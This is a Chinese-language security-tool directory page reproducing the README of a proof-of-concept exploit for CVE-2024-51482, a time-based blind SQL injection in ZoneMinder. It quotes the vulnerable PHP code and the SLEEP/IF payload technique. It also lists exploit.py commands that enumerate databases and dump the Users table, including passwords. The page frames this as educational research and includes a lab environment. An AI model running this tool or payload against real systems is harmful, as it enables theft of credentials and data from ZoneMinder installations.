Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-51482-POC — 基于时间的SQL注入PoC,针对ZoneMinder中的CVE-2024-51482,附带可复现的Docker实验室和自动化数据提取。 | Kitploit
工具/GitHubGitHub/0xdaeras/cve-2024-51482-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全实验室与实践
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

基于时间的SQL注入PoC,针对ZoneMinder中的CVE-2024-51482,附带可复现的Docker实验室和自动化数据提取。

查看仓库
7114个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ZoneMinder 认证后基于时间的 SQLi 概念验证 - CVE-2024-51482

CVE-1 CVSS Python

⚠️ 仅用于教育和授权的安全研究。 针对你不拥有或缺乏书面许可的系统运行此工具是非法的。


目录

  • ZoneMinder 认证后基于时间的 SQLi 概念验证 - CVE-2024-51482
    • 目录
    • 概述
    • 漏洞详情
      • CVE-2024-51482 — 基于时间的盲 SQL 注入
      • 根本原因
      • 攻击流程
    • 仓库结构
    • 要求
    • 安装
      • PoC
      • Docker 实验环境
    • 用法
      • 默认行为
      • 帮助屏幕
      • 命令
      • 输出选项
      • 标志参考
      • 完整示例
      • 注意事项
      • Docker 实验环境
    • 示例输出
    • 修复建议
      • 针对此 CVE
      • 针对类似漏洞
    • 披露时间线
    • 参考

概述

本仓库包含一个针对 ZoneMinder 的基于时间的 SQL 注入 PoC。

该工具支持:

  • 漏洞验证
  • 数据库枚举
  • 表与列发现
  • 完整表数据导出
  • CSV 导出

同时还包含一个完全可重现的 Docker 实验环境,用于安全测试。


漏洞详情

CVE-2024-51482 — 基于时间的盲 SQL 注入

  • CVE ID: CVE-2024-51482
  • CVSS v3.1 评分: 10.0(严重)
  • 漏洞类型: 基于时间的盲 SQL 注入
  • 受影响版本: ZoneMinder v1.37.* <= 1.37.64
  • 攻击向量: 认证端点 (removetag)
  • 影响: 全数据库泄露,数据完整性受损
  • 需要认证: 是(低权限用户即可)

根本原因

ZoneMinder 是一款免费的开源闭路电视软件应用程序。该漏洞源于 ZoneMinder 的 removetag 端点对输入验证不足。用户提供的输入直接被拼接到 SQL 查询中,没有进行合适的清理或参数化,攻击者可借此注入恶意的基于布尔值的 SQL 载荷。利用手法采用:

SLEEP(x - IF(condition, 0, x))

通过响应时间推断数据。

来自 GitHub 维护者安全公告 的完整漏洞代码片段:

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

攻击流程

攻击者                              ZoneMinder Web 应用
   │                                         │
   │  [认证]                                  │
   │  POST /zm/index.php                      │
   │  {username, password}                    │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← 已认证会话
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<载荷>           │
   │────────────────────────────────────────►│
   │                               SQL 布尔查询执行
   │                               IF(condition, 无延迟, SLEEP)
   │◄────────────────────────────────────────│
   │  延迟响应(时间判定)                    │  ← 推断条件
   │                                         │
   │  重复请求                               │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  时间差异揭示字符                        │
   │                                         │
   │  每字符二分查找                          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  提取的数据(每次一个字符)              │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  完整数据库泄露                          │
   │                                         │
   ✓  通过盲 SQLi 完成数据窃取

仓库结构

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

要求

  • Python 3.8+
  • requests
  • Docker 和 docker-compose(用于实验环境)

安装

PoC

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Docker 实验环境

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # 配置环境变量
docker compose up -d

用法

默认行为

不带任何标志时,工具会向目标认证,检查漏洞,如果存在漏洞,则从 zm.Users 表导出 ID、Username、Password、Name 和 Email 列(dump-users 命令)。

python exploit.py -t http://target/zm -u <username> -p <password>

帮助屏幕

python exploit.py -h

命令

check

仅检查目标是否易受攻击。

python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

导出 zm.Users 表中的 ID、Username、Password、Name 和 Email 列。如果未指定命令,则为默认命令。

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

列出所有数据库。

python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

列出指定数据库中的表。

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

列出指定表中的列。

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>

dump-table

导出指定表中的所有数据。

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>

你也可以指定要导出的列(默认导出所有列):

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2

输出选项

禁用终端输出

--no-display

导出为 CSV

如果文件不存在,则会创建。如果已存在,新结果将追加到文件末尾。

--outfile results.csv

标志参考

目标与认证

标志描述示例
-t, --target目标基础 URL-t http://localhost:8080
-u, --user认证用户名-u admin
-p, --password认证密码-p admin
--cookie使用已有的 ZMSESSID cookie 代替登录--cookie abc123...

核心命令

命令描述示例
check测试目标是否易受攻击(基于时间的 SQLi)check
dump-users直接导出 zm.Users 表dump-users
list-db列出所有数据库list-db
list-tables列出数据库中的表list-tables --db zm
list-columns列出表中的列list-columns --db zm --table Users
dump-table导出指定表dump-table --db zm --table Users

命令选项

标志描述必需性示例
--db数据库名称是(用于表/列操作)--db zm
--table表名是(用于列/导出操作)--table Users
--columns逗号分隔的要导出的列可选--columns Username,Password

性能与利用

下载工具